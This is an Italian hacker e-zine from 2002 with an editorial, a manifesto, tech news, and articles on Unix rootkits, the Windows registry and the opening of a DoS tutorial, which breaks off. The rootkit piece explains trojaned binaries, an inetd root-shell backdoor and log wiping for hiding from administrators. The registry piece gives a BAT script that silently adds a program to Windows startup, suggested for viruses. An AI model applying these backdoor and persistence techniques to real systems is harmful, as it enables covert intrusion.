Copy Link
Add to Bookmark
Report

X-System 01

eZine's profile picture
Published in 
XSystem
 · 26 Apr 2019

  


X-SYSTEM E-ZINE N°1

17 MARZO 2002

010101010101010101010101010101010101010101010101010101010101010101
010101010101010101010101010101010101010101010101010101010101010101
010101010101010101010101010101010101010101010101010101010101010101
0101010101/ \01010101010101
010101010/ \1010101010101
01010101| X - S Y S T E M E - Z I N E |010101010101
010101010\ /1010101010101
0101010101\ /01010101010101
010101010101010101010101010101010101010101010101010101010101010101
010101010101010101010101010101010101010101010101010101010101010101
010101010101010101010101010101010101010101010101010101010101010101

system:/ # mycontrol

the system control everything...

the system controls you...

OS version 156455.15645.154

Can I help you?

system:/ # No, thanks!

Ok, good work... ;)

system:/ # cat x-sys0

[.......Loading.......]

. . : : [ E-zine nata il 19 Novembre 2001 ] : : . .

. . : : [ Redattori: Elektro e Marvin ] : : . .

. . : : [ Argomenti trattati ] : : . .

Anarky | CyberInfo | Cracking | Elettronica | Etica & Riflessioni | Intro |
Hacking | Hacking Satellitare | Linux | Phreaking | Programmazione | Saluti |

. . : : [ Indice ] : : . .

****************************************************************************
* *
* X-SYSTEM E-ZINE N° 0 *
* *
****************************************************************************
* TITOLO * AUTORE *
****************************************************************************
* ( . . . INTRO & VARIE . . . ) *
****************************************************************************
* L'aVvEnTuRa CoNtInUa... Elektro *
* *
* M@nIfEsT0 Elektro *
* *
* CYbErInFo Marvin ed Elektro *
* *
* La PoStA dEi LetToRi Lettori e Redazione*
* *
* AlLeGaTi Elektro *
* *
* PrOgEtTi Elektro * *
****************************************************************************
* ( . . . H A C K I N G . . . ) *
****************************************************************************
* RoOtKiT Elektro *
* *
* ReGeDiT Elektro *
* *
* AtTaCcHi DoS Snhyper *
* *
* CoNfIgUrIaMoCi MySqL, ApAcHe, PhP iN LiNuX eD Exp... E4m *
* *
* BuG LoTuS Dominus *
* *
* DiFfErEnZa Di AtTaCcO dOs e DdOS Dominus *
****************************************************************************
* ( . . . CRACKING . . . ) *
****************************************************************************
* Un PiCcOlO eSeMpIo Di ChEaTs E4m *
* *
* LeGaL MaRiJuAnA bY e4m E4m *
****************************************************************************
* ( . . . PHREAKING . . . ) *
****************************************************************************
* SiM CaRd Black-Cap *
* *
* HaRd LiNe ¶HeLLz¥AnGÆL°¹® *
* *
* ThE CoLoR BoX Vampire *
****************************************************************************
* ( . . . LINUX . . .) *
****************************************************************************
* LiNuX: Le DiStRo Elektro *
* *
* LiNuX: L'iNsTaLlAzIoNe Elektro *
* *
* LiNuX: i FiLeSyStEm Elektro *
* *
* SiCuReZzA NeI SiStEmI LiNuX BbOyIcE *
* *
* CoMe RiCoMpIlArSi Il KeRnEl Dominus *
****************************************************************************
* ( . . . PROGRAMMAZIONE . . . ) *
****************************************************************************
* AsSeMbLy? No GrAzIe, NoN fUmO! vol. 1 E4m *
* *
* AsSeMbLy? No GrAzIe, NoN fUmO! vol. 2 E4m *
* *
* SeCuRiTy iNfO 2002 vol. 1 E4m *
* *
* SeCuRiTy iNfO 2002 vol. 2 E4m *
* *
* SeCuRiTy iNfO 2002 Bonus E4m *
* *
* RaW sOcKeT e PaCcHeTtI tCp/Ip N'eM Sy *
* *
* CrYpTo TuTtO CoN i CiClI Marvin *
* *
* UsIaMo Il C PeR ScOpI lOsChI Marvin *
* *
* GuIdA aL PeRl Marvin *
* *
* PrOgRaMmArE iN TuRbO PaScAl 6 Anfetamina *
****************************************************************************
* ( . . . ETICA & RIFLESSIONI . . . ) *
****************************************************************************
* CyBeRdIpEnDeNtI? Elektro
****************************************************************************
* ( . . . SALUTI, FUCK, RINGRAZIAMENTI, DI TUTTO DI PIU' . . . ) *
****************************************************************************
* SaLuTi & RiNgRaZiAmEnTi Elektro *
* *
* FuCk Elektro *
* *
* DoVe TrOvArCi Elektro *
* *
* CoMe InViArE i VoStRi ArTiCoLi Elektro *
* *
* LiNkS Marvin ed Elektro *
* *
* ThE EnD Elektro *
****************************************************************************


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| ...L'AVVENTURA CONTINUA... |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010
01<0101!1010+101"
010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


Salve a tutti smanettoni italiani! ;)
Come potete vedere siamo di nuovo qui, con una nuova uscita e molti altri
articoli interessanti, tutti da leggere e studiare!!
Non è stato semplice: almeno per quanto mi riguarda durante questo periodo
sono pieno di impegni scolastici e sportivi, senza contare tutto il resto...
Marvin.. eheh a quanto pare anche lui si sta impegnando molto con la scuola.
:-( Come se non bastasse in questi giorni, come sicuramente saprete, si è
verificato un incendio nella server house di Xoom e sia io che Marvin abbiamo
perso tutti nostri file (cazzo.. quasi 200 MB c'avevo là dentro.. :-( ). Per
quanto mi riguarda sto rifacendo tutti gli upload ma con una 56k e con le
poche ore che passo ora davanti al pc non so quando completerò il lavoro...
Comunque quando voi leggerete questo testo il mio sito dovrebbe essere
completamente disponibile come lo era prima. ;-)
Per quanto riguarda l'uscita di questa ezine abbiamo raccolto principalmente
testi riguardanti l'hack, il phreak e il coding. Alcuni articoli sono per i
Newbie, altri sono dedicati invece a smanettoni un po' più esperti. Tutto
sommato credo che questo numero, come tutti gli altri che usciranno dopo
questo, rispecchi esattamente quello che noi ci proponiamo di insegnare e
divulgare: a parte l'argomento, in questa ezine saranno presentati articoli
per Newbie totali che si avvicinano per la prima volta al mondo Underground e
altri un po' più approfonditi dedicati a lettori più esperti. In entrambi i
casi cercheremo di essere i più esaurienti possibili, altrimenti se non capite
qualcosa esiste sempre la nostra casella di posta: x-system@email.it.


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| M A N I F E S T O |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010
01<0101!1010+101"
010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


Quello che potete leggere qui sotto è il mio manifesto, già pubblicato su
MondoHackers.cjb.net e X-System.cjb.net.

Se avete voglia e tempo di leggerlo, leggetelo pure! ;)
Buona Lettura.

N.B. Per evitare disguidi fin dall'inizio, con la parola "Hackers", in questo
manifesto, sottintendo gli smanettoni e chiunque si interessi seriamente
all'Underground informatico, ma io non mi ritengo affatto hackers nel vero
senso della parola.

\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Lottiamo per la libertà d'informazione...

Apprendiamo e impariamo tutto quello che Voi, per paura, ci negate...

Esploriamo e scopriamo un mondo che Voi cercate di sopprimere con la forza...

Crediamo nei nostri ideali...

Siamo "Hackers", portiamo questo nome, ma Voi ci chiamate più comunemente
"Criminali"...

Ma ricorda, puoi fermare me ma non tutti noi, perchè noi siamo più forti di
te, la Conoscenza è il nostro credo e la nostra vita stessa; e finchè noi
saremo attratti dalla Conoscenza saremo sempre i più forti, perchè il "Sapere"
ci affascina ed è un diritto inalienabile dell'uomo...

Ricorda, "Sapere è potere"! Non dimenticarlo mai! Mai!
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Elektro


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| C Y B E R I N F O |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010
01<0101!1010+101"
010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


CYBERINFO
-Allarme Magic Lantern:è uscita da poco la notizia che l'FBI,in collaborazione
di hacker reclutati appositamente per questo progetto,sta realizzando un
potente keylogger(forse non solo,dato che avrebbe anche le funzioni di un worm
visto che si autoinvierà per posta elettronica) che diffonderà come virus
allo scopo di prevenire attacchi informatici o azioni terroristiche.
Il suo funzionamento,simile a Badtrans.B,lo rende del tutto simile ad un
virus,e perciò le case di antivirus hanno annunciato di non voler collaborare
con l'FBI,a meno che ciò non venga loro impedito dalla legge...
-E' ufficialmente nato il primo virus per Macromedia Flash 5,programmato
interamente in ActionScript!La nuova creaturina,chiamata SWF.LFM.926,è stata
scoperta da alcuni esperti del gruppo Sophos e infetterebbe tutti i filmati
Flash(con estensione .swf appunto) che si trovano nella stessa directory nella
quale è collocato. .926(che corrisponde alla dimensione in byte del virus)
crea un file V.COM che viene autoeseguito dallo stesso virus e inizia a
infettare tutti i filmati vicini.
Macromedia comunque assicura l'uscita di una patch per risolvere il
problema,ma nonostante il virus non provochi problemi come i suoi cugini più
diffusi(spedizione via e-mail,perdita dati,ecc...),risulterebbe essere
comunque il primo tentativo riuscito di una nuova generazione di virus.
-E' uscita una nuova versione di Linux,denominata Sorcerer,che risulta essere
molto diversa dalle versioni comunemente utilizzate.Anche se potrebbe apparire
come un passo indietro,non verranno utilizzati più i pacchetti
precompilati(come i vari deb o rpm),ma i programmi verranno forniti solo sotto
forma di sorgente(e vengono chiamati "spells").Perchè?Perchè Sorcerer è dotato
di un sistema di compilazione veloce,che permette l'installazione dei
programmi alla stessa velocità dei comuni pacchetti precompilati.
Il punto di forza di Sorcerer è un sistema che ,dopo aver finito il lungo
processo di installazione(molto più lungo di una Mandrake,soprattutto nella
configurazione di XFree86),è esattamente calibrato per il vostro processore;
per ora gli sviluppatori hanno messo a disposizione "solo" 700
programmi,meno di qualsiasi distribuzione,ma dato che Sorcerer è appena
uscito,ci sarà del tempo per renderlo brillante come i vari fratelli
Debian,RedHat,SuSe e affini,dato che (a quanto dicono) ha tutte le
carte in regola per diventarlo.
-Problemi di sicurezza per Windows Media Player 7 fornito con WinXP.A quanto
pare ogni WMP7 avrebbe un identificativo univoco che permetterebbe,tramite una
semplice pagina html,di seguire e identificare l'utente ad opera di
praticamente chiunque.Chissà perchè la Microsoft,avvisata nel Marzo 2001,si
attarda così a rilasciare la patch annunciata...


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| LA POSTA DEI LETTORI |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010
01<0101!1010+101"
010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


Anche per ora nulla...


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| A L L E G A T I |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010
01<0101!1010+101"
010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


Allora ragazzi... Vediamo un po' gli allegati di questo numero:

- Implementiamo CodeFiscal +Programma delle identita'!.zip ---> Vedere i testi
di E4m e Slash sulla crittografia.
- crazy patch for the sims.bat ---> Anche qui il file in questione è
inerente ad un testo di E4m sulle cheats dei giochi.

Ecco qui... Anche per questo numero è tutto. ;-)
Mi sembra proprio di non aver dimenticato nessun allegato... Speriamo bene! ;)
Buon smanettamento nel proseguimento dell'ezine!


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| P R O G E T T I |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010
01<0101!1010+101"
010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


Uhmm Io per la testa non ho molti progetti interessanti da realizzare e i
pochi che ho penso di farli con la Error404 Crew (www.error404crew.cjb.net).
Perciò chiudo questa piccola 'sezione', se così si può chiamare.


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| H A C K I N G |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010
01<0101!1010+101"
010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


|----------------------------------|
|Art. N° <1> : "Rootkit" di Elektro|
|----------------------------------|


ROOTKIT

Autore: <Elektro>
Web: <www.x-system.cjb.net>
Mail: <teo1987@libero.it>
Data: 12:25 12/02/02 (oggi dalle mie parti non c'è scuola ;-))

Destinatari di questo testo: **
[* NewBie ** Apprendisti *** Smanettoni **** Hackers]

Ciao ragazzi ;)
Chi vi scrive, ancora oggi, è sempre lui... Elektro. ;)
Pronto a scrivere qualche cazzata o meglio, pronto a scrivere qualcosa che
magari interessa a qualcuno di voi: i newbie sempre assatanati di
Conoscenza!

Perchè un articolo sui Rootkit?
Perchè, almeno a quanto ho potuto constatare, non esistono tutorials in
italiano che spieghino cosa essi siano. Perciò sono qui pronto a buttar
giù qualche riga. ;)

Un rootkit è un insieme di tools scritti in linguaggio C che una volta
ricompilati sulla macchina bersaglio fungono da programmi troiani e devono
assolutamente rimanere invisibili al sysadmin.
A cosa servono più precisamente, vi chiederete... Beh, immaginate un login
troiano che non fa esattamente il suo lavoro e lascia entrare nel proprio
sistema anche utenti che si identificano con uno user e pass che sta nelle
righe del codice login originale ma nessuno lo sa ;) o un netstat che
non riconosce il collegamente di un determinato host o di una determinata
porta sul suo sistema, in modo che il sysadmin non si accorga mai di
nulla!! ;)

Cosa deve contenere un buon rootkit? Come minimo deve avere i seguenti
troiani:

-inetd
-login
-ls
-ifconfig
-netstat
-passwd
-ps
-top
-rshd
-syslogd
-fix

Sono questi... Anche se spesso si trovano altri tool utili quali, ad
esempio, sniffer e zap vari.

Comunque, analizziamoli un po' con calma. Forse ne vale la pena.

-inetd
Come ben sappiamo questo è il demone che gestisci gran parte delle
connessioni in un sistema (time, ftp, telnet, talk, rsh, e molti altri).
Per i più disinformati, possono dare un'occhiata al file /etc/inetd.conf,
per la configurazione dei principali servizi.
Che si può fare con l'inetd.conf? Fare un bel 'echo' di una stringa dove
diamo, ad esempio, alla porta 43255 una bella shell con diritti di root
accessibile a chiunque sappia di quel 'tunnel virtuale'(che nome del
cazzo... però mi piace ;))) nella macchina. Riavviamo il demone inetd,
cancelliamo la stringa per maggiore sicurezza, sistemiamo ora e data con
touch e siamo a posto. Ma alla fin fine abbiamo sempre manomesso un file
di configurazione (/etc/inetd.conf, per l'appunto). Immaginiamo ora di
manomettere l'intero demone utilizzando il troiano. Ora se l'admin vuole
scoprirci non dovrà più controllare la configurazione dell'inetd.conf (e
anche se lo fa non trova nulla, perchè se fate come vi ho detto io e vi
cancellate perfettamente da log e affini non dovreste avere problemi...
;-)) ma killare il demone e ricompilarsi quello originale. ;)

-login

Questo è un altro tipo di backdoor...
In poche parole consiste nella modifica del file di login (anche senza
usare un rootkit questo lavoro è una cosa che qualunque smanettone
dovrebbe saper fare in due minuti), ovvero quel programma che ha il
compito di certificare user e passwd, per far entrare nella macchina
remota qualsiasi utente che sia a conoscenza di una user e passwd inserita
da noi nel login originale. ;)
Come fare tutto questo è già stato spiegato dettagliatamente da Fusys nel
3° (se non vado errato) numero di BFI.

-ls

Questo è il troiano del comando ls. Ovviamente ha la stessa funzione di
quello originale ed ha la sfortuna per il syadmin di essere terribilmente
simile all'originale! ;)
Infatti quando buchiamo una macchina ci riserviamo sempre un piccolo
posto, una piccola cartella (di norma nascosta e situata in qualche
sperduta directory) con all'interno i nostri piccoli giocattoli (di norma
anche questi file nascosti e con nomi poco sospettosi) quali zap e scanner
vari, exploit, datapipe, sniffer e altro. Ma come facciamo ad avere una
maggior sicurezza che il sysadmin non metterà mai il naso fra i nostri
giochi? ;) Semplice, installando appunto un ls troiano che non visualizzi
determinati file e cartelle da noi configurati. ;)
L'unico modo per visualizzarli è reinstallando il comando ls originale
(poco pratico) o impartendo un comando opzionale non standart ome ad
esempio ls -/.

-ifconfig

Il comando ifconfig restituisce lo stato dei device della rete, e nel caso
di una macchina in rete, lo stato della scheda ethernet.
Se il comando viene lanciato quando sulla rete è attivo uno sniffer, il
sysadmin potrà accorgersi che la sua rete è monitorizzata da qualcuno, ma
con l'ifconfig troiano sembrerà tutto normale. ;)

-netstat

Il netstat è il comando che dà come risultato un'analisi dei collegamenti
attivi in quel momento in cui esso viene lanciato.
Perciò se siamo nel sistema attraverso la nostra shell su una porta che in
quel momento e in quel sistema non dovrebbe essere aperta e il sysadmin
lancia il netstat potrà accorgersi che voi siete sul suo sistema; eh si,
brutto modo per essere sgamati e quindi, proprio per questo è meglio usare
anche questo troiano. ;)
Diciamo che all'epoca questo troiano sarebbe stato solo utile anche a
Kevin Mitnick quando venne sgamato proprio in questo modo da Mark Lottor
mentre tentava di rubargli una serie di informazioni legate ai cellulari
Oki... Beh, per tutta la storia leggetevi "Sulle tracce di Kevin", davvero
un buon libro!

-ps

Come spero sappiamo, il comando ps restituisce una schermata con tutti i
processi attivi in quel determinato momento. Perchiò se ci fosse uno
sniffer o una backdoor il sysadmin potrebbe accorgersene.
Invece con il nostro ps troiano possiamo far si che determinati programmi
(i nostri giocattolini appunto, quali backdoor, sniffer, scanner vari
ecc.) da noi precedentemente impostati non vengano visualizzati. ;)

-top

Discorso analogo al ps. ;)

-rshd

Anche questa è un'altra backdoor, come il login troiano. Sinceramente
credo però, che una volta che usate come backdoor la modifica di un login
manomesso basti e avanzi quello, anche senza usare questa seconda risorsa.

-syslogd

Questo è utilissimo ;)
Da diversi anni (non so l'anno di preciso!) sono stati introdotti i file
Log in sistemi *nix (e già ragazzi... una volta non c'erano ma poi si
sono accorti che forse era davvero meglio metterceli!!) che come sappiamo
'registrano' tutte le varie 'attività' di un intruso come potremo essere
noi.
Il syslogd troiano invece ha il compito di loggare tutte le connessioni
tranne quella che proviene da un determinato ip o attive su una
determinata porta! Mica male! ;))

-fix

E' un programma che permette di sostituire un file, come i troiani qui
sopra elencati, mantenendo sempre il cheksum in maniara da ingannare il
sysadmin nel caso dovesse fare qualche controllino... ;)

Questi sono i principali troiani, poi ne esistono moltissimi altri...

Ma dove trovo un buon rootkit? Sicuramente in un buon sito hacker li trovi
senza difficoltà!
Nel mio sito, www.x-system.cjb.net, puoi trovare qualcosa di interessante,
ma ti consiglio di cercare su www.packetstormsecurity.com e ne troverai
moltissimi, non solo per sistemi Unix e Linux, ma anche rootkit (utility
più che altro) per sys Win NT; questi ultimi non sono altro che delle
utility che lavorano sotto DOS, che una volta installati sul sitema, ad
esempio, nascondano determinati processi che girano sulla macchina remota,
un po' come il ps troiano.

Comunque, ho in previsione per quest'estate di mettermi a lavorare anch'io
con codici come /bin/ls e vedere cosa riesco a fare... Magari un ls
troiano riesco a scriverlo. ;) In ogni se il mio progetto riuscisse
troverete sicuramente nel mio sito e nell'X-Sys ezine il codice con tanto
di commenti. ;)
Comunque per tutti quelli che avessero voglia di contattarmi io sono
disponibile a teo1987@libero.it.
Se ho tempo/voglia risponderò!
Ciao!


|----------------------------------|
|Art. N° <2> : "Regedit" di Elektro|
|----------------------------------|


REGEDIT

Tutto quello nessuno vi ha mai detto ma voi, furbastri che non siete altro,
avete SEMPRE desiderato di sapere! ;-)

Autore: <Elektro>
Web: <www.x-system.cjb.net>
Mail: <teo1987@libero.it>
Data: <02/02/02>

*Fonti*
- conoscenze personali, dovute a parecchie ore di smanettamenti con il
Regedit...
- The Registry Torn Apart di Ankit Fadia
- Regedit di Master (SPP Members)

*Regedit? Ma cos'è?*

E' nientepopodimeno che il Registro di Configurazione dei sistemi Windows. Lo
potete trovare sotto la cartella C:\Windows con il nome Regedit.exe.

*A cosa serve?*

Dovete sapere che il Regedit contiene la configurazione del vostro sistema:
- contiene la locazione dei principali file di sistema, come ad esempio
win.ini.
- contiene gran parte della configurazione del sistema, come ad esempio quali
programmi devono partire all'avvio del computer (vedi più avanti).
- contiene gran parte della configurazione di programmi installati sul tuo
computer.

Proprio per questo, potete intuire che la Microsoft non ci svela molte info
sull'uso di cosa si puà fare con questo Registro. Infatti, modificando
oppurtanemente il Registro si può arrivare fino all'eliminazione dei limiti
temporali imposti da uno shareware, e come capirete bene quest'azione è da
considerarsi violazione del Copyright se la M$ si mettesse a scopiazzare i
trucchi e i segreti del Regedit. Comunque, non vi preoccupate, i limiti
imposti da uno shareware si possono tranquillamente eliminare anche se
risiedono nel bel mezzo del Regedit; ma per questo dovete leggervi una buona
giuda al Cracking, non questo testo.

*Come è strutturato?*

Il Regedit ha una struttura gerarchica, molto simile a quella usata dallo
stesso Win per contenere cartelle e files. Pertanto chiunque abbia visto una
finestra di 'Risorse del computer' o 'Gestione Risorse' non dovrebbe avere
grosse difficoltà!! ;-)

Iniziamo a vedere le ramificazioni, paragonabili a cartelle presenti in un
Hard Disk, che sono proprie del Regedit:

[Questa parte è stata scritta da Ankit Fadia e tradotta da Spider2k]

HKEY_LOCAL_MACHINE
Questa chiave contiene qualsiasi informazione sul sistema , sulle applicazioni
e sui servizi di un computer.
Molte informazioni si aggiornano automaticamente mentre il computer è in
esecuzione. I dati immagazzinati in questa chiave vengono condivisi da ogni
utente. Questa chiave ha varie sottochiavi :

Config
Contiene dati della configurazione per configurazioni diverse dell' hardware.


Enum
Questa contiene i dati delle periferiche. Per ogni periferica nel tuo
computer,tu puoi cercare informazioni come il tipo di periferica, la casa
produttrice, i drive e la configurazione corrente.

Hardware
Questa chiave contiene la lista delle porte seriali,i processori e
microprocessori.

Network
Contiene Informazioni sulla rete.

Security
Mostra informazioni sulla sicurezza della tua rete.

SoftWare
Questa chiave contiene informazioni sui software installati.

System
Questa invece contiene dati che amministrano le periferiche usate da Windows e
la loro configurazione.

HKEY_CLASSES_ROOT
Questa chiave è un alias del ramo HKEY_LOCAL_MACHINE\Software\Classes e
contiene OLE, drag'n'drop,shortcut e informazioni sui file associati.

HKEY_CURRENT_CONFIG
Questa chiave è un'altro alias. Esso contiene una copia del ramo
HKEY_LOCAL_MACHINE\Config, con la configurazione corrente del computer.

HKEY_DYN_DATA
Contiene alcune informazioni sulle frequenti modifiche del registro, cosi
Windows mantiene una parte di esso in memoria nel
tuo Hard Disk. Per esempio , conserva la configurazione PnP e le prestazioni
del computer. Questa chiave ha due sottochiavi :

Config Manager
Questa SubKey contiene tutte le informazioni sui problemi dell'Hardware e
sulla sua configurazione. Contiene anche la sottochiave
HKEY_LOCAL_MACHINE\Enum.

PerfStats
Contiene informazioni sulle prestazioni del sistema e della rete.

HKEY_USERS
Questa importante chiave contiene le sub key .Default e un'altra chiave per
ogni utente che ha accesso al computer. Se c'è
soltanto un' utente, esiste solo la .Default key .Ogni sottochiave gestisce le
impostazioni per ogni utente, come il colore
del desktop, i font usati, e anche le impostazioni di altri programmi. Se tu
apri una chiave di un' utente potrai
trovare 5 importanti sottochiavi :

AppEvent
Contiene la directory dei file audio che windows esegue quando svolge
determinate operazioni.

Control Panel
Qui ci sono le impostazioni del Pannello di Controllo. Esse risiedono nei file
win.ini e control.ini

Keyboard Layouts
Contiene una voce che identifica e setta nel Pannello di Controllo il tipo di
tastiera usata.

Network
Questa chiave ha delle sottochiavi che descrivono i correnti e recenti
collegamenti alla rete.

RemoteAccess
Le impostazioni dell ' Accesso Remoto sono contenute qui.

Software
Contiene le impostazioni su tutti i software installati. Queste informazioni
sono contenute nel win.ini o negli altri file privati .ini.


HKEY_CURRENT_USER
E' un alias della HKEY_USERS. Se il tuo computer non è configurato per un uso
multi-utente, è messo nella sottochiave .Default di HKEY_USERS.

-- FiNE --

Per il resto il Regedit è organizzato in Chiavi (Keys) e Sottochiavi
(SubKeys). Ogni chiave ha un proprio nome, un valore, e un tipo e una classe
specifica.
Il nome è la stringa che identifica il tipo di dati;la lunghezza e il formato
dipendono dal tipo di dati.

Come hai potuto vedere, il Regedit è composto da 6 ramificazioni principali e
non è possibile aggiungerne o toglierne altre a questo livello.

*Un'occhiata al Regedit...*

Se volete dare un'occhiata al Regedit (più che giusto dopo che vi siete
sorbiti tutta questa parte prettamente teorica... ;)) potete avviarlo da
Risorse del Computer o anche dal promt di MS-DOS; come preferite!

*Come posso inserire dei valori?*

Se volete modificare dei valori o aggiungere dei valori questo può essere
fatto con il comando 'REGEDIT', nella forma 'regedit file.reg', dove il file
con estensione reg contiene le informazioni con la loro determinata struttura.
A questo punto ci compare una finestrella che ci avvisa che i valori sono
stati inseriti nel registro. Arggghh! Ma noi non vogliamo che questo accada,
vero? ;)
Soprattutto nel caso avessimo scritto un virus che deve 'interagire' con il
regedit o volessimo fare un innocuo scherzo ad un amico!
Quindi dobbiamo essere furbi e imparare ad usare i seguenti parametri, presi
dal tutorial di Master.

/L:<path system.dat> ( Specifica la locazione del file system.dat)
/R:<path user.dat> ( " user.dat)

/E Mio_file.reg Nome_completo_della_chiave
(Esporta su hd nel file Mio_file.reg tutto il contenuto della
chiave
specificata da Nome_completo_della_chiave, se non e' stato
specificato
nessun nome esporta in Mio_file.rg TUTTO il registro al gran
completo)

mettendo come parametro solo il nome del file Mio_file.reg il contenuto
delle chiavi
indicate in quest'ultimo vengono inserite nel registro (visualizzando la
finestrella
semre)

/S Mio_file.reg
(Questo e' piu' interessante! ;-) .. con il parametro /S il
contenuto
delle chiavi indicate nel file Mio_file.reg viene caricato nel
registro
in maniera completamente invisibile all'utente.)

/C Mio_file.reg (attenzione!.. il contenuto del file va a SOSTITUIRSI
completamente
a quello originario del registro)

/D ** cancella una chiave o un intero ramo del registro di configurazione
es: REGEDIT /L:<Path syste.dat> /R:<Path user.dat> /D mio_file.reg
cancella le chiavi dichiarate in mio_file.reg

Questi sono alcuni parametri interessanti, non c'è dubbio.
Ma facciamo subito un esempio pratico di come si può aggiundere un *.reg nel
registro. Vogliamo che un determinato programma parta ad ogni avvio di Windows
(può essere un virus o un programma scritto da voi, comunque non ha
importanza). Come fare?
Innanzitutto scegliere un valore identificativo da dare al programma, ad
esempio 'myprog' (che fantasia... ;)) e conoscere il suo percorso, mettiamo
sia C:\Documenti\myprog.exe.

A questo punto, per evitare di cancellare informazioni già presenti nel
registro si usa il comando

REGEDIT /E file.reg
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

dove file.reg è ovviamente il file di cui parlavo prima. Ora sarà così
costituito:

--inizio file.reg--
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"
Explorer"="C:\\WINDOWS\\SYSTEM\\explorer.exe"
/* Altri prog... */
--fine file.reg--

Ora aggiungete la riga contenente il vostro programma; nel nostro caso
dovreste aggiungere questa riga:

"
myprog"="c:\\Documenti\\myprog.exe"

e ora dovete installarlo in maniera invisibile con il comando seguente:

REGEDIT /S mio.reg

Finito! Come primo esempio penso sia stato chiaro.

Certo che questa procedura può rivelarsi lunga in alcuni casi, ad esempio
quando dovete ripetere l'operazione più volte... Come risolvere il problema?
Beh, potete scrivere un piccolo file BAT che faccia in un secondo quello che
voi fate in un minuto. ;)
Per chi sa il DOS questo non è un problema comunque per gli altri piazzo qui
sotto un le 4 righe del file:

--inizio file BAT--
@REGEDIT /E file.reg
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
@echo "
myprog"="c:\\Documenti\\myprog.exe" >> file.reg
@regedit /s file.reg
@del file.reg
--fine file BAT--

Ecco tutto!

*Conclusioni*

In questo breve testo ho trattato le informazioni principali di quello che è e
come può essere usato il Regedit. Come avete capito può essere interessante
conoscerlo e lavorarci sopra per svariati motivi!
Una domanda che forse vi starete chiedendo: Ma il Regedit ha un mucchio di
valori e la documentazione in giro è poca... Come faccio a fare qualcosa di
interessante con esso? La risposta è una sola: Smanettare! Ho passato diverso
tempo a osservare il Regedit, soprattutto l'anno scorso alle medie quando ci
portavano in 'aula computer' e finivo il lavoro molto prima dei miei compagni
o non c'avevo voglia di far nulla, e osservando il Regedit di quei computer ho
scoperto svariate cose molto interessanti...
Comunque questa breve guida al Regedit è conclusa e spero abbiate imparato
qualcosa di nuovo e che queste informazioni vi possano essere utili! Se non
avete capito qualcosa la mia mail è
teo1987@libero.it e se ho tempo/voglia vi risponderò.
Byez ;)


|---------------------------------------|
|Art. N° <3> : "
Attacchi DOS" di Snhyper|
|---------------------------------------|


TUTORIAL v. 4.0

snhyper@hotmail.com

^^^^^^^^^^^^^^^^^
#include <stdio.h> \ ~~~ D o S ~~~ /
#include "
snhyper.h"
int main()
{
puts("
DISCLAIMER");

do
{
puts("
le info qui riportate sono a scopo informativo!");
}while(fai casino);

do
{
puts("
daje dentro");
}while(hai cervello);

if(fai casino)
puts("
cazzi tuoi, te lo avevo detto");
else
puts("
ebbbbbravooo");
return 0;
}

Basta..ok..non lo faccio più ma... COME? NON SAI IL C? allora "
goto
studia_e_torna; "
Ecco qui appena sfornato il mio 4° tute, incentrato sugli attacchi '' DoS '' !

Per quanto riguarda il mondo *nix , i maggiori attacchi di interruzione di
servizio si dividono in 3 classi:

<*> Attacchi DoS all'hardware di rete
<*> Attacchi contro reti Linux
